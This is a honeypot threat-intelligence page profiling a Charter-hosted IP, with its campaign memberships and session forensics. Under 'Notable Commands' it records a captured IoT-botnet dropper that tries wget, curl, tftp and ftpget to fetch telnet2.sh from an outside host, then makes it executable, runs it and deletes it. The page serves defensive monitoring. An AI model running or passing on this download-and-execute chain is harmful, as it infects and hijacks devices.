← Back to feed
66.65.102.229
syn-066-065-102-229.res.spectrum.com
(spectrum.com)
✗ FCrDNS
Assessment
Port and service scanner
- Ran 8 commands on the host.
- Part of a 246-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇺🇸 US / New York
ASN
AS12271 · Charter Communications Inc
Cloud Provider
—
Total Events
18
Average by volume
Agent Count
2
First / Last Seen
2026-10-16 02:51 — 2026-10-20 18:57
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Defense Evasion
Discovery
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan
SCAN
Active
medium
223 IPs
719660 events
2026-09-28 — ongoing · 223 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
AS12271 Charter Communications Inc
ASN
Active
medium
🇺🇸 US
5 IPs
42 events
http:scantelnet:connectiontelnet:intrusion
2026-09-14 — ongoing · 5 IPs from the same network (Charter Communications Inc, AS12271) were active during overlapping time periods. Temporal correlation …
Multi-Agent Scan
SCAN
Active
medium
3 IPs
57 events
2026-08-12 — ongoing · 3 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
8 IPs
32868 events
2026-08-12 — ongoing · 8 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
189 IPs
676135 events
2026-04-21 — ongoing · 189 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
188 IPs
689504 events
2026-03-02 — ongoing · 188 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
246 IPs
836004 events
2026-02-26 — ongoing · 246 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
199 IPs
668752 events
2026-02-26 — ongoing · 199 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
10 IPs
8621 events
2026-02-26 — ongoing · 10 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
Sessions
2 (1 with login)
Avg Depth Score
0.53
Commands Executed
8
Files Downloaded
0
Notable Commands
- enable
- enable
- system
- system
- shell
- shell
- sh
- cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; /bin/busybox wget -q -O telnet2.sh http://176.65.139.157/telnet2.sh; busybox wget -q -O telnet2.sh http://176.65.139.157/telnet2.sh; wget -q -O telnet2.sh http://176.65.139.157/telnet2.sh; curl -s -o telnet2.sh http://176.65.139.157/telnet2.sh; busybox curl -s -o telnet2.sh http://176.65.139.157/telnet2.sh; tftp 176.65.139.157 -c get telnet2.sh; tftp -r telnet2.sh -g 176.65.139.157; ftpget -v -u anonymous -p anonymous -P 21 176.65.139.157 telnet2.sh telnet2.sh; chmod 777 telnet2.sh; sh telnet2.sh; rm -rf telnet2.sh
Evidence Timeline
Scanner
2f8eb1118b9c
15%
Loading events...
Interactive Operator
a8c7516a394c
LOGIN
8
1
90%
Loading events...
$ enable$ enable $ system$ system $ shell